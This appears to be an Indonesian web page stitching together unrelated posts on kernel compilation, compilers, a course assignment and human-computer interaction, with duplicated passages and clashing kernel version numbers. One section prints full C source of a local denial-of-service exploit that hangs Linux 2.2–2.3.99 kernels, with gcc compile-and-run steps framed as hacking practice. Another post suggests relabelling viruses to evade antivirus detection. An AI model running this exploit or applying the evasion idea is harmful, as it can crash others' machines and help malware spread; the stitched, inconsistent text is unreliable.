Kompail Kernel Seperti yang telah diketahui, kernel adalah program yang dimuat pada saat boot yang berfungsi sebagai interface antara user-level program dengan hardware. Secara teknis linux hanyalah sebuah kernel. Pogram lain seperti editor, kompiler dan manajer yang disertakan dalam paket (SuSE, RedHat,Mandrake,dll) hanyalah distribusi yang melengkapi kernel menjadi sebuah sistem operasi yang lengkap. Kernel membutuhkan konfigurasi agar dapat bekerja secara optimal. Konfigurasi ulang dilakukan jika ada device baru yang belum dimuat. Setelah melakukan konfigurasi, lakukan kompilasi untuk mendapatkan kernel yang baru. Tahap ini memerlukan beberapa tool, seperti kompiler dsb. Kompile kernel ini dilakukan jika ingin mengupdate kernel dengan keluaran terbaru. Kernel ini mungkin lebih baik dari pada yang lama. Tahap kompilasi ini sangat potensial untuk menimbulkan kesalahan atau kegagalan, oleh karena itu sangat disarankan untuk mempersiapkan emergency boot disk, sebab kesalahan umumnya mengakibatkan sistem mogok. Ada beberapa langkah yang umumnya dilakukan dalam mengkompilasi kernel, yaitu : 1. Download kernel Tempat untuk mendownload kernel ada di beberapa situs internet. Silakan dicari sendiri. Tetapi biasanya di "kambing.vlsm.org" ada versi-versi kernel terbaru. Source kernel tersebut biasanya dalam format linux-X.X.XX.tar.gz, di mana X.X.XX menunjukkan nomor versi kernel. Misalnya 2.6.11. Nomor tersebut dibagi menjadi tiga bagian, yaitu: - Major number - Minor number - Revision number Pada contoh versi kernel di atas (2.6.40), angka 2 menunjukkan major number. Angka ini jarang berubah. Perubahan angka ini menandakan adanya perubahan besar (upgrade) pada kernel. Kemudian angka 6 menunjukkan minor number. Angka ini menunjukkan stabilitas. Angka genap (0,2,4,6,dst) menunjukkan kernel tersebut telah stabil. Angka ganjil menandakan bahwa kernel tersebut dalam tahap pengembangan. Kernel ganjil mengandung experimental-code atau feature terbaru yang ditambahkan leh developernya. Kernel genap pada saat dirilis tidak ada penambahan lagi dan dianggap sudah stabil. Percobaan terhadap feature-featur terbaru biasanya dilakukan pada kernel dengan nomor minor yang ganjil. Dua angka terakhir (11) menunjukkan nomor revisi. Ini menandakan current path versi tersebut. Selama tahap pengambangan, nomor ini cepat berubah. Kadang sampai dua kali dalam seminggu. 2. Kompilasi Kernel Kompile akan memakan waktu lama, dan seperti telah diberitahukan diatas, sangat mungkin untuk menimbulkan kegagalan. Di direktori /usr/src/linux jalankan: make dep; make clean; make zImage. Perintah make dep : membaca file konfigurasi dan membentuk dependency tree. proses ini mengecek apa yang dikompile dan apa yang tidak. make clean : menghapus seluruh jejak kompilasi yang telah dilakukan sebelumnya. Ini memastikan agar tidak ada feature lama yang tersisa. make zImage : Kompilasi yang sesungguhnya. Jika tidak ada kesalahan akan terbentuk kernel terkompresi dan siap dikompilasi. Sebelum dikompile, modul-modul yang berhubungan perlu dikompile juga dengan make modules. Cek lokasi kernel, umumnya nama kernel dimulai dengan vmlinuz, biasanya ada di direktori /boot, atau buka /etc/lilo.conf untuk memastikannya. Di sini tidak akan dijelaskan secara mendetail langkah-langkah dalam mengompile kernel. Langkah-langkah ini dapat dilihat di banyak situs, salah satunya situs "bebas.vlsm.org/v09/onno-ind-1/ network/ ppt-linux-ethernet-10-2000.ppt" yang dibuat oleh Onno W. Purbo dengan slide. Sebelum kernel modul diinstalasi, sebaiknya back up dulu modul lama. Keuntungan memback-up modul lama adalah bila nanti modul baru tidak berjalan baik, maka modul lama bisa digunakan lagi dengan menghapus modul baru. Setelah tahap ini selesai, jalankan lilo, reboot sistem dan lihat hasilnya. 3. Konfigurasi Kernel Konfigurasi kernel adalah tahap terpenting yang menentukan kualitas sebuah kernel. Mana yang harus diikutkan, dan mana yang harus ditinggal sesuai tuntutan hardware dan keperluan. Konfigurasi dimulai dari directori /usr/src/linux. Ada tiga cara: - make config, berupa text base interface, cocok untuk user yang memiliki terminal mode lama dan tidak memiliki setting termcap. - make menuconfig, berupa text base juga tapi memiliki puldown menu berwarna, digunakan untuk user yang memiliki standar console. - make xconfig, interface menggunakan layar grafik penuh, untuk user yang sudah memiliki X Window. Ada sekitar 14 menu pilihan dimulai dari Code maturity level options sampai kernel hacking. Masing-masing memiliki submenu bila dipilih dan pilihan yes(y), module(m), atau no(n). Setiap pilihan dimuat/kompile ke dalam kernel akan memperbesar ukuran kernel. Karena itu pilih feature-feature yang sering digunakan atau jadikan module untuk feature yang tidak sering digunakan. Dan jangan memasukkan feature-feature yang tidak dibutuhkan. Setelah selesai melakukan pilihan konfigurasi, simpanlah sebelum keluar dari layar menu konfigurasi. 4. Patch Kernel Setiap dikeluarkan kernel versi terbaru juga dikeluarkan sebuah file patch. File patch ini jauh lebih kecil dari file source kernel sehingga jauh lebih cepat bila digunakan untuk upgrade kernel.File ini hanya bekerja untuk mengupgrade satu versi kernel dibawahnya. Misalnya, versi kernel 2.4.19 hanya bisa diupgrade dengan file patch 2.4.20 menjadi kernel 2.4.20. Umumnya file patch ini tersedia pada direktori yang sama di FTP dan website yang menyediakan source kernel. File-file patch tersedia dalam format .gz
Meng-compile Eksploit Dalam Bahasa C
Onno W. Purbo
Pada saat penggembaraan kita dalam melakukan hacking sering kali kita memperoleh program (eksploit) yang dapat digunakan untuk mengeksploitasi sebuah sistem. Program ini tidak jarang berbentuk source code bukan executable dalam bahasa C yang perlu kita compile agar menjadi bentuk executable yang dapat dijalankan.
Di samping itu, cara belajar hacking yang terbaik adalah dengan mempelajari program orang lain yang telah sukses dalam melakukan hacking. Atau melihat struktur program yang ada. Di Linux, proses belajar ini menjadi sangat cepat karena sebagian besar source code Linux tersedia / terbuka & dapat kita lihat menggunakan teks editor biasa pada directory:
/usr/src/linux
Tentunya sebelum melihat demikian banyak source code ada baiknya anda membaca-baca berbagai teknik yang berkaitan dengan kerja sistem operasi / Linux maupun kerja Internet yang di dokumentasikan dalam bentuk file Request For Comment (RFC) yang dapat di ambil secara gratis di berbagai situs Internet, seperti http://www.internic.net, http://www.linuxdoc.org dsb.
Contoh sebuah source code eksploit untuk Linux kernel 2.2-2.3.99 saya tampilkan berikut ini.
/* [http://b0f.morphed.net] – eth0 */
/* */
/* Vulnerable
Linux 2.2.12
Linux 2.2.13
Linux 2.2.14
Linux 2.3.99-pre2
The following exploit code will hang any Linux machine on various
Pentium platforms.
Note that this does not require any special privileges, and any user
Can compile and run it, so watch out kiddies…
The send system call immediately puts the kernel in a loop spewing
kmalloc: Size (131076) too large forever
(or until you hit the reset button).
Apparently UNIX domain sockets are ignoring the
/proc/sys/net/core/wmem_max parameter,
despite the documentation to the contrary.
[information provided by Jay Fenlason]
[http://b0f.morphed.net]
[buffer0verfl0w security]
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <string.h>
char buf[128 * 1024];
int main ( int argc, char **argv )
{
struct sockaddr SyslogAddr;
int LogFile;
int bufsize = sizeof(buf)-5;
int i;
for ( i = 0; i < bufsize; i++ )
buf[i] = ‘ ‘+(i%95);
buf[i] = ”;
SyslogAddr.sa_family = AF_UNIX;
strncpy ( SyslogAddr.sa_data, “/dev/log”, sizeof(SyslogAddr.sa_data)
);
LogFile = socket ( AF_UNIX, SOCK_DGRAM, 0 );
sendto ( LogFile, buf, bufsize, 0, &SyslogAddr, sizeof(SyslogAddr)
);
return 0;
}
Eksploit ini merupakan teknik yang membuat buffer (stack) over flow sehingga mesin Linux anda tidak bisa beroperasi lagi seperti hang, kecuali anda reset. Kebetulan saya menggunakan Mandrake 8.0 yang menggunakan kernel 2.4.3 yang tidak terpengaruh terhadap eksploit ini.
Setelah ada mengedit file source code dalam bahasa C dengan teks editor biasa. Langkah selanjutnya adalah mengcompile-nya. Pada masa lalu (jaman DOS 3.3), saya biasanya menggunakan Turbo C untuk mengcompile source code. Saat ini dengan menggunakan Linux, jika di install fasilitas development-nya, maka GNU C Compiler (gcc) biasanya merupakan bagian integral dari fasilitas development pada Linux.
Pada Linux, proses compiling dapat dilakukan secara sederhana saja, dengan menuliskan perintah:
$ gcc eksploit.c –o eksploit
maka file eksploit.c akan di compile menjadi executable yang dalam hal ini di beri nama eksploit (oleh perintah –o eksploit) yang kemudian dapat dijalankan dengan perintah:
$ ./eksploit
Jika anda mulai melakukan pemrogramman yang kompleks dengan banyak source file C, maka biasanya dibantu dengan file Makefile yang akan mengatur cara-cara membuat objek code & compile dari masing-masing source code.
Kompiler Project #1 – Scientific Text Calculator
Pembuatan sebuah kalkulator ekspresi aritmatika berbasis teks yang bisa diinputkan ke dalam suatu text box atau text area dan kemudian ekspresi tersebut dikonversikan terlebih dahulu ke dalam ekspresi postfiks ( bisa menggunakan stack atau tree ), dan terakhir dapat dihitung nilai hasil ekspresinya.
Jenis operator yang diterima adalah: +, *, /, % (modulus/sisa hasil bagi), ^ (pangkat) , dan -
Jenis operand yang diterima adalah: bilangan negatif dan positif, baik itu bilangan bulat ataupun pecahan (dengan tanda pemisah pecahan adalah titik (.)).
Jenis operator lain yang bisa diterima adalah tanda kurug buka dan tutup yang akan digunakan untuk memberikan kejelasan urutan pengerjaan operasi. Dan perlu diperhatikan juga tentang derajat operator.
Contoh ekspresi aritmatika:
(((3 + 2) * (10 – 5) / -5)^2) % 2 * (-3 + 12)
Hasil postfix:
3 2 + 10 5 – * -5 / 2 ^ 2 % -3 12 + *
Hasil Akhir: 9
Program dapat dibuat dengan bahasa pemrograman apapun. Saran bahasa pemrograman yang dapat digunakan adalah Pascal, Delphi, C, C++, Visual Basic, .NET, Java, JavaScript (tidak boleh menggunakan fungsi eval), VBScript, dan PHP/ASP.
Program dibuat dengan mengimplementasikan teknik parsing, regular expression, dan error handling. Program TIDAK BOLEH dibuat dengan menggunakan database apapun juga. Diperbolehkan menggunakan FoxPro asalkan tidak menggunakan database.
Tugas dikerjakan secara pribadi dan dikumpulkan maksimal pada tanggal 5 Oktober 2006 pukul 12.00 WIB melalui email ke anton@ukdw.ac.id dalam bentuk file ZIP yang bernama <NIMANDA>.zip. Lewat waktu tersebut tugas tidak akan dinilai.
Dalam file ZIP tersebut harus disertakan source code file, EXE (jika ada), dan README.txt yang berisi NIM, nama, dan keterangan program (misalnya cara penggunaan, cara kompilasi, cara eksekusi, dan lain-lain) secara jelas, singkat dan tidak bertele-tele.
Program dibuat secara individual, sehingga tidak boleh ada perkerjaan yang sama (mencontek). Jika ada pekerjaan yang ketahuan sama maka semua pekerjaan tersebut akan diberi nilai -15%.
Contoh dapat dilihat dan dicoba disini:
The Result :

Apa sih compiler ituh?????apa yah….kalo secara ilmiah saya gak bisa jelasin tapi biasanya
dipakai untuk menggenerate program yang akan dibuat. Misalnya sebuah source code di vsual
basic akan dijadikan sebuah software aplikasi atau program….maka source code tersebut
harus di-compile sedemikian rupa agar jadi sebuah aplikasi ato software dengan sebuah
compiler…
CIRI – CIRI PROGRAM COMPILER
Ciri-cirinya :
1) Dapat memodifikasi Caption program sehingga menjadi nama lain. Misalnya sebuah program
dicopy biasa dari komputer satu ke komputer lain maka captionnya akan sama…catatan bukan
nama apliaksi or .exe nya yang diubah…tapi judul program yang ada di atas apliaksi
tersebut.
2) Dapat mengganti gambar dari aplikasi tersebut. Misalnya gambar A.jpg diletakkan dalam
sebuah program. Kalau dicopy secara biasa, otomatis gambar A.jpg akan ter-copy juga ke
program tersebut. Tetapi bila dicompile…maka gambar dapat berubah.
FUNGSI PROGRAM COMPILER
Fungsi dari program compiler ini adalah :
1) Mengubah caption, sehingga jika suatu program dikunci oleh virus seperti regedit,
msconfig, ms Dos shell dan lain – lain dapat tetap dijalankan, karena fungsi dari compiler
tersebut merubah caption program. Biasanya virus mendeteksi dari caption program tersebut
untuk menendang atau mematikan program dalamkode pertahanan virus.
2) Buat seneng- seneng and nambah program ajah….hahahahahhahaha
CARA KERJA COMPILER SEDERHANA
cara kerjanya sangat mudah, seperti yang disebutkan bahwa compiler disini adalah sangat
sederhana sekalai. Sehingga masih menggunakan fasilitas dari VB berupa modul COPYFILE. Jadi
bukan dicompiler secara murni, jadi Algoritma nya :
1) Program Dijalankan
2) Program akan mengecek apakah file yang diperlukan untuk compiler ada…disini saya
memakai aplikasi rdfce.ext
3) Setelah menemukan file rdfce.ext maka program akan menjalankan modul COPYFILE untuk
menyalin isi dari text dan gambar
4) Kemudian program akan mencompile aplikasi dan mengeluarkan file output sesuai dengan
nama file…kalau disini defaultnya test.exe
Mudah kan…..
PENERAPAN
Hal jahat :
Bisa diterapkan di aplikasi virus, misalkan untuk memberi penanda pada virus yang akan
digandakan. Misalnya virus a diberi penanda karakter A, otomatis untuk menyebarkan virus
tersebut agar tidak terdeteksi antivirus, maka kita harus memberi penanda lain. Dengan
menjalankan modul compiler tersebut kita dapat memberi penanda virus A dengan karakter B.
Tul gak.
Hal Baik:
Bisa diterapkan di aplikasi pembunuh virus seperti show kill process. Anda bisa donlot
showkillprocess di www.virologi.info. Tapi biasanya sebuah virus sudah menandai, jika
showkillprocess.exe berjalan, maka program tersebut akan dimatikan (Seperti brontok yang
menendang apliaksi regedit). Nah dengan menjalankan modul compiler ini kita dapat mengubah
isi caption dari program showkillprocess.exe sehingga caption-nya berbeda dan aplikasi
tersebut tidak ditendang oleh virus tersebut.
BEDAH PROGRAM
di dalam source code ada sebuah variabel :
Dim PropBag As New PropertyBag
- yang berarti variabel bebas. Variabel ini berisi caption, gambar dan password yang akan
diberikan kepada file compiler tersebut.
With PropBag
.WriteProperty “Caption”, txtCaption.Text
.WriteProperty “Text”, txtText.Text
.WriteProperty “Picture”, imgPic.Picture
.WriteProperty “Protected”, chkPass.Value
.WriteProperty “Password”, txtPass.Text
End With
- Nah disini kita bisa mengeset apakah caption, gambar atau password.
FileCopy App.Path & “\rdfce.ext”, App.Path & “\” & txtExeFile.Text
- Menyalin file sumber dan meng-compile sesuai caption, gambar dan password
Open App.Path & “\” & txtExeFile.Text For Binary As #1
BeginPos = LOF(1)
varTemp = PropBag.Contents
Seek #1, LOF(1)
Put #1, , varTemp
Put #1, , BeginPos
Close #1
- Membuat file compiler sesuai nama yang diinginkan, kalau di sini defaultnya test.exe
Nah coba jalankan program tersebut, kemudian isi caption, gambar and password sesuai
keinginan deh…okay!!!!!
SOURCE CODE DAN PROGRAM DAPAT DIDOWNLOAD DI SINI :
a href=”http://www.virologi.info/download/compiler.zip”>SOURCE CODE DAN PROGRAM COMPILER
SELAMAT MENCOBA…..
Teknik Kompilasi
Merupakan Teknik dalam melakukan pembacaan suatu program yang ditulis dalam bahasa sumber, kemudian diterjemahkan ke dalam suatu bahasa lain yang disebut bahasa sasaran.
Dalam melakukan proses penerjemahan tersebut, sudah barang tentu kompilator akan melaporkan adanya keanehan-keanehan atau kesalahan yang mungkin ditemukannya. Proses penerjemahan yang dilakukan oleh kompilator ini disebut proses kompilasi (compiling).
Bila dipandang sepintas lalu, maka akan timbul beranekaragam kompilator yang dapat dibuat,
- Bahasa Sumber seperti bahasa FORTRAN, PASCAL, C dan juga bahasa-bahasa lainnya yang sifat dan pemakaiannya agak spesifik atau khusus, seperti bahasa untuk program DBASE, SPSS dan lain sebagainya.
- Bahasa Sasaran dapat berupa bahasa sumber lain seperti C, FORTRAN dan lain sebagainya atau Bahasa Mesin (Machine Language) yang digunakan oleh suatu prosessor mikro atau sumber komputer besar maupun komputer super.
Sejarah perkembangan suatu kompilator sudah dimulai sejak lama, yaitu pada saat mulai ditemukannya komputer pada awal 1950-an.
Sejak waktu tersebut teknik dan cara pembentukan suatu kompilator telah berkembang dengan sangat pesat dan pembentukkan suatu kompilator dapat dilakukan makin mudah.
Demikian pula program bantu (tools) untuk membuat suatu kompilator sudah dapat diperoleh sehingga pembentukan suatu kompilator dapat dilakukan dengan cepat.
Kompilator pertama yang dibuat adalah kompilator untuk bahasa FORTRAN yang pada saat itu dikembangkan dengan memakan sejumlah tenaga ahli yang setara dengan pekerjaan yang dilakukan oleh 18 orang.
Dengan adanya program bantu dan tata cara pembentukan yang sistematis dan tertata dengan baik serta pendefinisian struktur bahasa yang cermat, maka suatu kompilator untuk bahasa yang terstruktur seperti PASCAL atau C dapat dikembangkan.
Proses kompilasi dari suatu kompilator pada dasarnya dapat dibagi ke dalam 2 bagian utama yaitu bagian analisis dan bagian sintesis.
- Tahap analisis program yang ditulis dalam bahasa sumber dibagi dan dipecah ke dalam beberapa bagian yang kemudian akan dipresentasikan ke dalam suatu bentuk antara dari program sumber.
Operasi-operasi yang dilakukan oleh program sumber ditentukan dan dicatat dalam suatu struktur pohon (tree) yang disebut dengan nama pohon sintaks (sintax tree) Dalam hal ini setiap nodal pada tree tersebut menyatakan suatu operasi, sedangkan anak dari nodal (titik) tersebut memberikan argumen yang diperlukan
Secara umum proses dalam tahap analis terdiri dari 3 bagian utama, yaitu
a. Proses analisis leksikal
b. Proses analisis sintaktik
c. Proses analisis semantik
- Tahap sintesis yang berikutnya program sasaran dibentuk berdasarkan representasi antara yang dihasilkan pada tahap analisis.
Untuk tahap sintetis terdiri dari 2 bagian utama, yaitu
a. Proses yang menghasilkan kode (code generator)
b. Proses optimasi kode (code optimizer)
Sebelum Bahasa sasaran dapat dihasilkan, dalam melakukan ini tiap bagian utama akan berhubungan dan berkomunikasi dengan suatu berkas tabel yang disebut tabel simbol (symbol table) yaitu suatu tabel yang berisi semua simbol yang digunakan dalam bahasa sumber.
Selain kompilator masih diperlukan beberapa program lainnya sebelum dapat dibentuk bahasa sasaran yang dapat dijalankan. Seperti suatu bahasa sumber dapat dituliskan dalam beberapa modul yang terpisah dan disimpan dalam beberapa file yang terpisah.
Untuk menanggulangi hal ini, maka suatu program khusus yang disebut dengan suatu praprosesor digunakan untuk mengumpulkan modul-modul yang saling lepas ini ke dalam suatu program baru. Praposesor dapat pula melengkapi singkatan-singkatan atau ungkapan-ungkapan maupun kependekan-kependekan yang digunakan dalam bahasa sumber seperti pendefinisian makro dan lain sebagainya.
Mendekonstruksi Peran Mouse
Kemaren nemu site experimental dontclick. Jadi pingin membahas isu-isu User Interface / Human Computer Interaction lagi.
Site dontclick merupakan situs research tentang kebiasaan pengguna dengan piranti masukan mouse. Aturannya sederhana saja : penggunanya diharamkan menggunakan tombol atau meng-klik mouse mereka. Semua interaksi menggunakan medium pergerakan kursor pada koordinat x-y layar. Gambar dan informasi yang bersesuaian akan muncul dengan cukup mengarahkan mouse kita ke menu yang kita inginkan. Artinya klik digantikan dengan mode gerakan. Ada berbagai macam eksperimen di situ termasuk juga tutorial serta eksperimen bagaimana kita mengganti klik dengan gerakan sirkular pada layar.
Jika Anda ternyata mengklik tikus di bawah tangan Anda ketika sedang berkunjung ke sana, maka mereka akan merekamnya. Sengaja atau tidak, mereka akan mengkonfirmasinya. Termasuk keseluruhan gerakan yang Anda lakukan saat bertandang ke situs dontclick. Namanya juga penelitian. Mereka butuh mengerti bagaimana pengalaman pengguna akan membentuk suatu persepsi psikologis kognitif saat mereka menghadapi lingkungan yang baru apalagi mensarahkan meninggalkan kebiasaan lama pengguna komputer. Apakah teknik tersebut bermanfaat dalam mendekati pengguna? Apakah pengguna merasa nyaman atau malah frustasi? Secara ergonomis apakah ada hubungannya antara menghilangkan klik mouse dengan kesehatan manusia? (ini sepertinya berlebihan).
Saya sendiri salut dengan ide brilian ini. Ternyata bisa juga tombol yang imut itu ditinggalkan. Navigasi web yang smooth dan mudah. Namun sekali lagi ia tidak cukup signifikan untuk diterapkan. Klik tetaplah lebih nyaman. Karena ada hal2 yang tidak tergantikan oleh gerak.
Pertama adalah real model. Beragam inovasi diluncurkan agar User Interface (UI) semirip mungkin dengan dunia nyata. Pemodelan yang paling sederhana misalnya adalah sebuah tombol (button). Tombol berfungsi untuk memicu sebuah action. Menggunakannya adalah dengan cukup ditekan. Dalam hal ini pemodelan meng-klik mouse lebih mirip menekan tombol daripada sekedar menyentuh atau meraba-raba. Tolong, jangan ngeres ya.
Kedua yaitu faktor feedback. Mouse mampu menyajikan kemantapan dan kepuasan umpan balik bagi pengguna. Gerakan meng-klik tombol, sensasi sentuhan atas-bawah berpegas, suara ‘klik’ dari mouse lebih mampu membuat pengguna merasa terwakili. Alias lebih marem.
Alasan lainnya adalah tidak semua menu ingin kita lihat. Jika kita tak sengaja mengarahkan mouse ke menu lain maka akan tampil informasi lain. Hal ini cukup mengganggu jika kita sedang fokus membaca sebuah informasi yang cukup panjang. Akhirnya adalah kita harus selalu waspada dengan keberadaan posisi kursor kita. Salah letak bisa membuat kita berjarak dengan informasi yang kita butuhkan. Capek d!
Tak kalah penting yaitu alokasi gerakan kursor yang dilakukan oleh UI dontclick akan lebih banyak. Apalagi jika klik diganti dengan gerakan memutar di atas sebuah pilihan. Padahal terlalu banyak menggerakkan mouse hanya untuk mengakses menu merupakan salah satu ciri antarmuka yang kurang bersahabat.
Anyway, its another point for breaking the habit. Nice one!
| Human Computer Interaction Technology Kamis, 24 Mei 07 – by : Nani Tachjar |
|
| Interaksi Manusia Komputer |
|
|
| Numan Computer Interaction |
![]() |
Oleh: Tim Pengajar Universitas Gunadarma Universitas Gunadarma Dibuat: 2005-11-26 , dengan 1 file(s). |
Keywords: Human Computer Interaction
Pengertian Interaksi Manusia-Komputer
Ketika komputer pertama kali diperkenalkan secara komersial pada tahun 50-an, mesin ini sangat sulit dipakai dan sangat tidak praktis. Hal demikian karena waktu itu komputer merupakan mesin yang sangat mahal dan besar, hanya dipakai dikalangan tertentu, misalnya para ilmuwan atau ahli-ahli teknik.
Setelah komputer pribadi (PC) diperkenalkan pada tahun 70-an, maka berkembanglah penggunaan teknologi ini secara cepat dan mengagurnkan ke berbagai penjuru kehidupan (pendidikan, perdagangan, pertahanan, perusahaan, dan sebagainya). Kemajuan-kemajuan teknologi tersebut akhirnya juga mempengaruhi rancangan sistem. Sistem rancangan dituntut harus bisa memenuhi kebutuhan pemakai, sistem harus mempunyai kecocokkan dengan kebutuhan pemakai atau suatu sistem yang dirancang harus berorientasi kepada pemakai. Pada awal tahun 70-an ini, juga mulai muncul isu teknik antarmuka pemakai (user interface) yang diketahui sebagai Man-Machine Interaction (MMI) atau Interaksi Manusia-Mesin.
Para peneliti akademis mengatakan suatu rancangan sistem yang berorientasi kepada pemakai, yang memperhatikan kapabilitas dan kelemahan pemakai ataupun sistem (komputer) akan memberi kontribusi kepada interaksi manusia-komputer yang lebih baik. Maka pada pertengahan tahun 80-an diperkenalkanlah istilah Human-Computer Interaction (HCI) atau Interaksi Manusia-Komputer.
Computer Supported Collaborative Research (CSCR)
CSCR merupakan bidang baru terkait riset masyarakat HCI. CSCR merupakan kelanjutan dari pendahulunya, yaitu Computer Supported Collaborative Work (CSCW) dan Computer Supported Collaborative Learning (CSCL). Keduanya ini merupakan subyek riset HCI hampir sepuluh tahun yang lalu.
Gambar berikut menampilkan kedudukan dari ketiganya (merupakan bagian dari HCI)
Perbedaan utama antara CSCW dan CSCL yaitu bahwa CSCW dikarakteristikan oleh “kebutuhan akan ruang kerja (workingspace)” sedangkan CSCL membutuhkan ruang kerja dan ruang belajar (learningspace)
Workingspace adalah domain tempat aktivitas-aktivitas berikut berlangsung: communication space, scheduling space, sharing space, dan product space.
Learning space adalah domain yang memuat seluruh aspek workingspace ditambah dengan aktivitas berikut: reflection space, social space, assessment space, tutor space, dan administration space
Perbedaan utama antara CSCR dan CSCL adalah bahwa suatu rekord penuh dari seluruh interaksi antar partisipan merupakan tool penting dan dibutuhkan untuk mengevaluasi kontribusi setiap anggota dalam suatu collaboratiob group yang nanti dapat menentukan “suatu share modal yang adil (a fair capital share) apabila proyek riset berjalan dengan sukses.is successful.
CSCR membutuhkan Workingspace, Learningspace, dan aktivitas-aktivitas berikut: knowledge space, publication space, privacy space, publication space, negotiation space.
(Sumber VH-Hoare)
Published August 9th, 2007
Computer Supported Collaborative Research (CSCR)
CSCR merupakan bidang baru terkait riset masyarakat HCI. CSCR merupakan kelanjutan dari pendahulunya, yaitu Computer Supported Collaborative Work (CSCW) dan Computer Supported Collaborative Learning (CSCL). Keduanya ini merupakan subyek riset HCI hampir sepuluh tahun yang lalu.
Gambar berikut menampilkan kedudukan dari ketiganya (merupakan bagian dari HCI)
Perbedaan utama antara CSCW dan CSCL yaitu bahwa CSCW dikarakteristikan oleh “kebutuhan akan ruang kerja (workingspace)” sedangkan CSCL membutuhkan ruang kerja dan ruang belajar (learningspace)
Workingspace adalah domain tempat aktivitas-aktivitas berikut berlangsung: communication space, scheduling space, sharing space, dan product space.
Learning space adalah domain yang memuat seluruh aspek workingspace ditambah dengan aktivitas berikut: reflection space, social space, assessment space, tutor space, dan administration space
Perbedaan utama antara CSCR dan CSCL adalah bahwa suatu rekord penuh dari seluruh interaksi antar partisipan merupakan tool penting dan dibutuhkan untuk mengevaluasi kontribusi setiap anggota dalam suatu collaboratiob group yang nanti dapat menentukan “suatu share modal yang adil (a fair capital share) apabila proyek riset berjalan dengan sukses.is successful.
CSCR membutuhkan Workingspace, Learningspace, dan aktivitas-aktivitas berikut: knowledge space, publication space, privacy space, publication space, negotiation space.
Wiimote – revolusi HCI
Bagi yang sudah bosan “terkungkung” dengan keyboard, mouse, dll sebagai perangkat HCI, perangkat-perangkat baru menjadi selalu menarik.
Ada alat yang bisa mendeteksi seluruh gerakan tubuh kita. Webcam yang bisa mendeteksi gerakan di depannya. Bagi penderita RSI, keyboard & mouse khusus jadi sangat membantu mereka. Ada lagi software text-to-speech, dan kebalikannya, speech-to-text. Dan banyak lagi lainnya.
Tapi yang paling menarik bagi saya (selain brain plug) adalah Wiimote. Sejak pertama kali tersiar kabar mengenai alat yang unik ini, saya yakin bahwa akan ada revolusi besar – paling tidak bagi posisi Nintendo sendiri di pertarungan di arena game console.
Pertama, Wiimote mengusung konsep input yang sangat menarik – motion sensor. Sebetulnya Wiimote bukan yang pertama – beberapa di antaranya telah saya sebutkan di paragraf pertama. Namun, Wiimote sepertinya adalah yang pertama yang sukses secara massal, mudah digunakan, harganya terjangkau, dan universal – tidak hanya di Nintendo Wii, namun kinipun sudah mulai bisa digunakan di PC.
Kedua, Wiimote bukan hanya perangkat input (IR sensor, motion sensor, buttons); namun sekaligus juga adalah perangkat output (force feedback, speaker, LED).
Ketiga, aplikasi Wiimote tidak hanya semata untuk game, berbeda dengan game controllers lainnya; tapi bisa jauh lebih luas lagi dari itu.
Kemarin ini saya berbincang-bincang dengan kawan mengenai potensi Wiimote — software (bukan video) tutorial aerobik, dimana Anda musti menggerak-gerakkan Wiimote sesuai instruksi. Keahlian Anda tidak hanya menjadikan Anda top scorer, namun sekaligus menjadikan badan lebih sehat.
Lalu Wiimote sebagai interface ke dunia virtual seperti SecondLife. Atau, belajar karate dengan Wiimote ? Tidak hanya mendapatkan nilai tinggi dan instant gratification / kepuasan melihat musuh-musuh di layar bertumbangan, Anda juga mendapat keahlian praktis. Dan masih banyak potensi lainnya.
Mudah-mudahan Nintendo dan vendor software PC bisa segera menyadari peluang ini, dan mewujudkannya menjadi kenyataan. Mari kita tunggu bersama-sama.



Save This Page